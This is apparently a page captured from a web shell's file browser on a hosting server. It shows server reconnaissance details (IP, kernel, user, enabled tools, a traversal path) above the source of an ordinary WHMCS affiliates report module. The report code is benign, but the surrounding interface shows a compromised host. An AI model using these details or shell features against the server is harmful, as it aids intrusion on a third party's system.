Server IP : 213.176.29.180 / Your IP : 3.139.88.246 Web Server : Apache System : Linux 213.176.29.180.hostiran.name 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64 User : webtaragh ( 1001) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/webtaragh/public_html/whmcs/feeds/../modules/reports/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php use WHMCS\Carbon; use WHMCS\Database\Capsule; if (!defined("WHMCS")) { die("This file cannot be accessed directly"); } $today = Carbon::today(); $reportdata["title"] = "Affiliates Overview"; $reportdata["description"] = "An overview of affiliates for the current year"; $reportdata["tableheadings"] = [ 'Affiliate ID', 'Affiliate Name', 'Visitors', 'Pending Commissions', 'Available to Withdraw', 'Withdrawn Amount', 'YTD Total Commissions Paid', ]; $results = Capsule::table('tblaffiliates') ->select( 'tblaffiliates.id', 'tblaffiliates.clientid', 'tblaffiliates.visitors', 'tblaffiliates.balance', 'tblaffiliates.withdrawn', 'tblclients.firstname', 'tblclients.lastname', 'tblclients.companyname' ) ->join('tblclients', 'tblclients.id', '=', 'tblaffiliates.clientid') ->orderBy('visitors', 'desc') ->get() ->all(); foreach ($results as $result) { $affid = $result->id; $clientid = $result->clientid; $visitors = $result->visitors; $balance = $result->balance; $withdrawn = $result->withdrawn; $firstname = $result->firstname; $lastname = $result->lastname; $companyname = $result->companyname; $name = $firstname . ' ' . $lastname; if ($companyname) { $name .= ' (' . $companyname . ')'; } $pendingcommissionsamount = Capsule::table('tblaffiliatespending') ->join('tblaffiliatesaccounts', 'tblaffiliatesaccounts.id', '=', 'tblaffiliatespending.affaccid') ->join('tblhosting', 'tblhosting.id', '=', 'tblaffiliatesaccounts.relid') ->join('tblproducts', 'tblproducts.id', '=', 'tblhosting.packageid') ->join('tblclients', 'tblclients.id', '=', 'tblhosting.userid') ->where('affiliateid', '=', $affid) ->orderBy('clearingdate', 'desc') ->sum('tblaffiliatespending.amount'); $ytdtotal = Capsule::table('tblaffiliateshistory') ->where('affiliateid', $affid) ->whereBetween( 'date', [ $today->startOfYear()->toDateTimeString(), $today->endOfYear()->toDateTimeString(), ] ) ->sum('amount'); $currency = getCurrency($clientid); $pendingcommissionsamount = formatCurrency($pendingcommissionsamount); $ytdtotal = formatCurrency($ytdtotal); $reportdata["tablevalues"][] = [ '<a href="affiliates.php?action=edit&id=' . $affid . '">' . $affid . '</a>', $name, $visitors, $pendingcommissionsamount, $balance, $withdrawn, $ytdtotal, ]; }